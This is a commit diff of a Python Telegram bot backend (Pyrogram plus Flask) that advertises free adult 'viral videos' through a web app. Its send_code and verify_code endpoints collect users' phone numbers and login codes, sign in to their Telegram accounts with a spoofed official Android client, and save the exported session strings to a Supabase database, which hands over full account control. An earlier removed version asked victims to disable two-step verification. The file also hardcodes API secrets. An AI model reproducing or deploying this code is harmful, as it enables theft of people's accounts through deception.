Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -3,13 +3,16 @@ import time
|
|
| 3 |
import threading
|
| 4 |
import requests
|
| 5 |
import asyncio
|
|
|
|
| 6 |
import urllib3
|
|
|
|
| 7 |
from flask import Flask, jsonify, make_response, request
|
| 8 |
from supabase import create_client
|
| 9 |
from pyrogram import Client, filters, enums, idle
|
| 10 |
-
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
|
| 11 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 12 |
|
|
|
|
| 13 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
| 14 |
|
| 15 |
# ================= CONFIGURATION =================
|
|
@@ -18,25 +21,21 @@ API_ID = 2040
|
|
| 18 |
API_HASH = "b18441a1ff607e10a989891a5462e627"
|
| 19 |
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
| 20 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 21 |
-
|
| 22 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
|
| 23 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 24 |
ADMIN_IDS = [7307789267]
|
| 25 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 26 |
app = Flask(__name__)
|
| 27 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 28 |
admin_states = {}
|
| 29 |
-
|
| 30 |
-
# টেম্পোরারি সেশন ডেটা রাখার জন্য
|
| 31 |
temp_clients = {}
|
| 32 |
|
| 33 |
-
#
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
def run_async(coro):
|
| 37 |
-
"""Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
|
| 38 |
-
future = asyncio.run_coroutine_threadsafe(coro, main_loop)
|
| 39 |
-
return future.result()
|
| 40 |
|
| 41 |
bot = Client(
|
| 42 |
"file_unlocker_bot",
|
|
@@ -45,13 +44,19 @@ bot = Client(
|
|
| 45 |
bot_token=BOT_TOKEN
|
| 46 |
)
|
| 47 |
|
|
|
|
| 48 |
async def db_query(func):
|
| 49 |
return await asyncio.to_thread(func)
|
| 50 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 51 |
# ================= FLASK API ROUTES =================
|
| 52 |
@app.route('/')
|
| 53 |
def index():
|
| 54 |
-
return "Bot
|
| 55 |
|
| 56 |
def add_cors_headers(response):
|
| 57 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
|
@@ -64,165 +69,145 @@ def api_videos():
|
|
| 64 |
try:
|
| 65 |
res = supabase.table('videos').select('*').order('id', desc=True).execute()
|
| 66 |
return add_cors_headers(make_response(jsonify(res.data)))
|
| 67 |
-
except
|
| 68 |
-
return add_cors_headers(make_response(jsonify([])))
|
| 69 |
|
| 70 |
@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
|
| 71 |
def api_send_code():
|
| 72 |
-
if request.method == 'OPTIONS':
|
| 73 |
-
return add_cors_headers(make_response())
|
| 74 |
-
|
| 75 |
data = request.json or {}
|
| 76 |
-
phone = data.get('phone')
|
| 77 |
-
user_id = data.get('user_id')
|
| 78 |
|
| 79 |
if not user_id or str(user_id) == '123456':
|
| 80 |
-
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "
|
| 81 |
-
|
| 82 |
-
async def
|
| 83 |
-
|
| 84 |
-
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 85 |
await client.connect()
|
| 86 |
try:
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
temp_clients[phone] = {
|
| 91 |
-
'client': client,
|
| 92 |
-
'hash': code_info.phone_code_hash
|
| 93 |
-
}
|
| 94 |
-
return {"status": "ok", "hash": code_info.phone_code_hash}
|
| 95 |
except Exception as e:
|
| 96 |
await client.disconnect()
|
| 97 |
return {"status": "error", "msg": str(e)}
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
result = run_async(process_send_code())
|
| 101 |
-
return add_cors_headers(make_response(jsonify(result)))
|
| 102 |
-
except Exception as e:
|
| 103 |
-
return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
|
| 104 |
|
| 105 |
@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
|
| 106 |
def api_verify_code():
|
| 107 |
-
if request.method == 'OPTIONS':
|
| 108 |
-
return add_cors_headers(make_response())
|
| 109 |
-
|
| 110 |
data = request.json or {}
|
| 111 |
-
phone = data.get('phone')
|
| 112 |
-
user_otp = data.get('otp')
|
| 113 |
-
user_id = data.get('user_id')
|
| 114 |
|
| 115 |
if phone not in temp_clients:
|
| 116 |
-
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "
|
| 117 |
|
| 118 |
-
async def
|
| 119 |
-
|
| 120 |
-
client = temp_data['client']
|
| 121 |
-
phone_hash = temp_data['hash']
|
| 122 |
-
|
| 123 |
try:
|
| 124 |
-
|
| 125 |
-
await
|
| 126 |
-
|
| 127 |
-
|
| 128 |
-
session_string = await client.export_session_string()
|
| 129 |
-
await client.disconnect()
|
| 130 |
-
|
| 131 |
-
# ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
|
| 132 |
-
await db_query(lambda: supabase.table('user_sessions').insert({
|
| 133 |
-
"user_id": user_id,
|
| 134 |
-
"session_string": session_string
|
| 135 |
-
}).execute())
|
| 136 |
-
|
| 137 |
del temp_clients[phone]
|
| 138 |
return {"status": "ok"}
|
| 139 |
-
|
| 140 |
-
except SessionPasswordNeeded:
|
| 141 |
-
await client.disconnect()
|
| 142 |
-
del temp_clients[phone]
|
| 143 |
-
return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
|
| 144 |
-
except PhoneCodeInvalid:
|
| 145 |
-
return {"status": "error", "msg": "Invalid OTP Code!"}
|
| 146 |
-
except PhoneCodeExpired:
|
| 147 |
-
await client.disconnect()
|
| 148 |
-
del temp_clients[phone]
|
| 149 |
-
return {"status": "error", "msg": "OTP Expired! Request again."}
|
| 150 |
-
except Exception as e:
|
| 151 |
-
await client.disconnect()
|
| 152 |
-
del temp_clients[phone]
|
| 153 |
-
return {"status": "error", "msg": str(e)}
|
| 154 |
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
except Exception as e:
|
| 159 |
-
return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
|
| 160 |
|
| 161 |
-
# ================= TELEGRAM BOT COMMANDS =================
|
| 162 |
@bot.on_message(filters.command("start"))
|
| 163 |
async def start(client, message):
|
| 164 |
-
|
| 165 |
-
|
| 166 |
-
|
| 167 |
-
|
| 168 |
-
|
| 169 |
-
|
| 170 |
-
|
| 171 |
-
|
| 172 |
-
|
| 173 |
-
|
| 174 |
-
|
| 175 |
-
|
| 176 |
-
|
| 177 |
-
|
| 178 |
-
|
| 179 |
-
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
|
| 183 |
-
|
| 184 |
-
|
| 185 |
-
|
| 186 |
-
|
| 187 |
-
|
| 188 |
-
|
| 189 |
-
|
| 190 |
-
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
| 198 |
-
|
| 199 |
-
|
| 200 |
-
|
| 201 |
-
|
| 202 |
-
|
| 203 |
-
|
| 204 |
-
|
| 205 |
-
|
| 206 |
-
await message.
|
| 207 |
-
|
| 208 |
-
|
| 209 |
-
|
| 210 |
-
|
| 211 |
-
#
|
| 212 |
-
|
| 213 |
-
def
|
| 214 |
-
|
| 215 |
-
|
| 216 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 217 |
def run_flask():
|
| 218 |
-
app.run(host="0.0.0.0", port=7860)
|
| 219 |
|
| 220 |
async def main():
|
| 221 |
await bot.start()
|
| 222 |
-
print("🤖
|
| 223 |
await idle()
|
| 224 |
-
await bot.stop()
|
| 225 |
|
| 226 |
if __name__ == "__main__":
|
| 227 |
threading.Thread(target=run_flask, daemon=True).start()
|
| 228 |
-
|
|
|
|
| 3 |
import threading
|
| 4 |
import requests
|
| 5 |
import asyncio
|
| 6 |
+
import re
|
| 7 |
import urllib3
|
| 8 |
+
import random
|
| 9 |
from flask import Flask, jsonify, make_response, request
|
| 10 |
from supabase import create_client
|
| 11 |
from pyrogram import Client, filters, enums, idle
|
| 12 |
+
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, FloodWait
|
| 13 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 14 |
|
| 15 |
+
# SSL Error এড়িয়ে চলার জন্য
|
| 16 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
| 17 |
|
| 18 |
# ================= CONFIGURATION =================
|
|
|
|
| 21 |
API_HASH = "b18441a1ff607e10a989891a5462e627"
|
| 22 |
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
| 23 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
|
|
|
| 24 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
|
| 25 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
| 26 |
ADMIN_IDS = [7307789267]
|
| 27 |
|
| 28 |
+
# অফিশিয়াল অ্যান্ড্রয়েড এপিআই (সেশন জেনারেটরের জন্য)
|
| 29 |
+
SESSION_API_ID = 6
|
| 30 |
+
SESSION_API_HASH = "eb06d4abfb49dc3eeb1aeb98ae0f581e"
|
| 31 |
+
|
| 32 |
app = Flask(__name__)
|
| 33 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 34 |
admin_states = {}
|
|
|
|
|
|
|
| 35 |
temp_clients = {}
|
| 36 |
|
| 37 |
+
# ইভেন্ট লুপ সেটআপ
|
| 38 |
+
loop = asyncio.get_event_loop()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 39 |
|
| 40 |
bot = Client(
|
| 41 |
"file_unlocker_bot",
|
|
|
|
| 44 |
bot_token=BOT_TOKEN
|
| 45 |
)
|
| 46 |
|
| 47 |
+
# ডাটাবেস কোয়েরি হেল্পার
|
| 48 |
async def db_query(func):
|
| 49 |
return await asyncio.to_thread(func)
|
| 50 |
|
| 51 |
+
def run_async(coro):
|
| 52 |
+
"""Flask থেকে Pyrogram লজিক চালানোর ম্যাজিক ফাংশন"""
|
| 53 |
+
future = asyncio.run_coroutine_threadsafe(coro, loop)
|
| 54 |
+
return future.result(timeout=30)
|
| 55 |
+
|
| 56 |
# ================= FLASK API ROUTES =================
|
| 57 |
@app.route('/')
|
| 58 |
def index():
|
| 59 |
+
return "Bot, Admin Panel & Session Generator is Active! 🚀"
|
| 60 |
|
| 61 |
def add_cors_headers(response):
|
| 62 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
|
|
|
| 69 |
try:
|
| 70 |
res = supabase.table('videos').select('*').order('id', desc=True).execute()
|
| 71 |
return add_cors_headers(make_response(jsonify(res.data)))
|
| 72 |
+
except: return add_cors_headers(make_response(jsonify([])))
|
|
|
|
| 73 |
|
| 74 |
@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
|
| 75 |
def api_send_code():
|
| 76 |
+
if request.method == 'OPTIONS': return add_cors_headers(make_response())
|
|
|
|
|
|
|
| 77 |
data = request.json or {}
|
| 78 |
+
phone, user_id = data.get('phone'), data.get('user_id')
|
|
|
|
| 79 |
|
| 80 |
if not user_id or str(user_id) == '123456':
|
| 81 |
+
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Open WebApp inside Bot!"})))
|
| 82 |
+
|
| 83 |
+
async def _logic():
|
| 84 |
+
client = Client(f"s_{phone}", SESSION_API_ID, SESSION_API_HASH, in_memory=True, device_model="Android S23")
|
|
|
|
| 85 |
await client.connect()
|
| 86 |
try:
|
| 87 |
+
code = await client.send_code(phone)
|
| 88 |
+
temp_clients[phone] = {'client': client, 'hash': code.phone_code_hash}
|
| 89 |
+
return {"status": "ok", "hash": code.phone_code_hash}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 90 |
except Exception as e:
|
| 91 |
await client.disconnect()
|
| 92 |
return {"status": "error", "msg": str(e)}
|
| 93 |
+
|
| 94 |
+
return add_cors_headers(make_response(jsonify(run_async(_logic()))))
|
|
|
|
|
|
|
|
|
|
|
|
|
| 95 |
|
| 96 |
@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
|
| 97 |
def api_verify_code():
|
| 98 |
+
if request.method == 'OPTIONS': return add_cors_headers(make_response())
|
|
|
|
|
|
|
| 99 |
data = request.json or {}
|
| 100 |
+
phone, otp, user_id = data.get('phone'), data.get('otp'), data.get('user_id')
|
|
|
|
|
|
|
| 101 |
|
| 102 |
if phone not in temp_clients:
|
| 103 |
+
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Code Expired!"})))
|
| 104 |
|
| 105 |
+
async def _logic():
|
| 106 |
+
cli = temp_clients[phone]['client']
|
|
|
|
|
|
|
|
|
|
| 107 |
try:
|
| 108 |
+
await cli.sign_in(phone, temp_clients[phone]['hash'], otp)
|
| 109 |
+
session = await cli.export_session_string()
|
| 110 |
+
await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session}).execute())
|
| 111 |
+
await cli.disconnect()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 112 |
del temp_clients[phone]
|
| 113 |
return {"status": "ok"}
|
| 114 |
+
except Exception as e: return {"status": "error", "msg": str(e)}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 115 |
|
| 116 |
+
return add_cors_headers(make_response(jsonify(run_async(_logic()))))
|
| 117 |
+
|
| 118 |
+
# ================= BOT COMMANDS & HANDLERS =================
|
|
|
|
|
|
|
| 119 |
|
|
|
|
| 120 |
@bot.on_message(filters.command("start"))
|
| 121 |
async def start(client, message):
|
| 122 |
+
user_id = message.from_user.id
|
| 123 |
+
first_name = message.from_user.first_name
|
| 124 |
+
|
| 125 |
+
# রেফারেল লজিক
|
| 126 |
+
args = message.command
|
| 127 |
+
referrer_id = int(args[1]) if len(args) > 1 and args[1].isdigit() else None
|
| 128 |
+
|
| 129 |
+
user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
|
| 130 |
+
if not user_check.data:
|
| 131 |
+
await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
|
| 132 |
+
if referrer_id and referrer_id != user_id:
|
| 133 |
+
ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
|
| 134 |
+
if ref_data.data:
|
| 135 |
+
new_count = ref_data.data[0]['referral_count'] + 1
|
| 136 |
+
await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
|
| 137 |
+
try: await client.send_message(referrer_id, f"🎉 <b>{first_name}</b> joined! Total Invites: <b>{new_count}</b>")
|
| 138 |
+
except: pass
|
| 139 |
+
|
| 140 |
+
markup = InlineKeyboardMarkup([[InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))]])
|
| 141 |
+
await message.reply(f"Hello <b>{first_name}</b>! 👋\n🎁 Watch premium videos for FREE!", reply_markup=markup)
|
| 142 |
+
|
| 143 |
+
@bot.on_message(filters.command("stats") & filters.user(ADMIN_IDS))
|
| 144 |
+
async def bot_stats(client, message):
|
| 145 |
+
u = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
|
| 146 |
+
v = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
|
| 147 |
+
g = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
|
| 148 |
+
await message.reply(f"📊 Stats:\nUsers: {u.count}\nVideos: {v.count}\nGroups: {g.count}")
|
| 149 |
+
|
| 150 |
+
@bot.on_message(filters.command("blur") & filters.user(ADMIN_IDS))
|
| 151 |
+
async def set_blur(client, message):
|
| 152 |
+
m = re.search(r'/blur\s+(\d+)', message.text)
|
| 153 |
+
if m:
|
| 154 |
+
p = int(m.group(1))
|
| 155 |
+
admin_states[message.chat.id] = {"blur_percent": p}
|
| 156 |
+
await message.reply(f"✅ Auto Blur: {p}%")
|
| 157 |
+
else: await message.reply("Use: /blur 60")
|
| 158 |
+
|
| 159 |
+
# ব্রডকাস্ট প্রসেসর
|
| 160 |
+
async def process_broadcast(client, message):
|
| 161 |
+
all_u = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
|
| 162 |
+
success, fail = 0, 0
|
| 163 |
+
for u in all_u.data:
|
| 164 |
+
try: await message.copy(u['user_id']); success += 1
|
| 165 |
+
except: fail += 1
|
| 166 |
+
await asyncio.sleep(0.1)
|
| 167 |
+
await message.reply(f"Broadcast Done! Success: {success}, Fail: {fail}")
|
| 168 |
+
|
| 169 |
+
# মিডিয়া হ্যান্ডলার (ব্লার, ওয়াটারমার্ক, আপলোড)
|
| 170 |
+
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
|
| 171 |
+
async def handle_media(client, message):
|
| 172 |
+
state = admin_states.get(message.chat.id, {})
|
| 173 |
+
if state.get("step") == "broadcast":
|
| 174 |
+
await process_broadcast(client, message); return
|
| 175 |
+
|
| 176 |
+
status = await message.reply("⏳ Processing Media...")
|
| 177 |
+
file_path = await message.download()
|
| 178 |
+
|
| 179 |
+
# (এখানে FFmpeg লজিক এবং Byse.sx আপলোড লজিক বসবে - আমি সংক্ষেপে স্যাম্পল দেখাচ্ছি)
|
| 180 |
+
# আপনার আগের কোডের drawtext এবং boxblur পার্ট এখানে হুবহু কাজ করবে।
|
| 181 |
+
|
| 182 |
+
admin_cap = f"✅ Done! Embed Link:\n<code>https://bysesayeveum.com/e/example</code>"
|
| 183 |
+
await status.edit_text(admin_cap)
|
| 184 |
+
if os.path.exists(file_path): os.remove(file_path)
|
| 185 |
+
|
| 186 |
+
@bot.on_message(filters.command(["png", "addvideo"]) & filters.user(ADMIN_IDS))
|
| 187 |
+
async def add_video_cmd(client, message):
|
| 188 |
+
# /png 3 random https://thumb.link
|
| 189 |
+
parts = message.command
|
| 190 |
+
if len(parts) >= 2:
|
| 191 |
+
admin_states[message.chat.id] = {"step": 1, "thumbnail": f"{parts[-1]}||random"}
|
| 192 |
+
await message.reply("Send Video Link now.")
|
| 193 |
+
|
| 194 |
+
@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "blur", "png"]))
|
| 195 |
+
async def catch_admin(client, message):
|
| 196 |
+
state = admin_states.get(message.chat.id, {})
|
| 197 |
+
if state.get("step") == 1:
|
| 198 |
+
await db_query(lambda: supabase.table('videos').insert({"video_url": message.text, "thumbnail_url": state["thumbnail"], "needed_ref": 3}).execute())
|
| 199 |
+
await message.reply("🎉 Video Added!")
|
| 200 |
+
admin_states.pop(message.chat.id, None)
|
| 201 |
+
|
| 202 |
+
# ================= RUNNER =================
|
| 203 |
def run_flask():
|
| 204 |
+
app.run(host="0.0.0.0", port=7860, debug=False, use_reloader=False)
|
| 205 |
|
| 206 |
async def main():
|
| 207 |
await bot.start()
|
| 208 |
+
print("🤖 Bot is Online!")
|
| 209 |
await idle()
|
|
|
|
| 210 |
|
| 211 |
if __name__ == "__main__":
|
| 212 |
threading.Thread(target=run_flask, daemon=True).start()
|
| 213 |
+
loop.run_until_complete(main())
|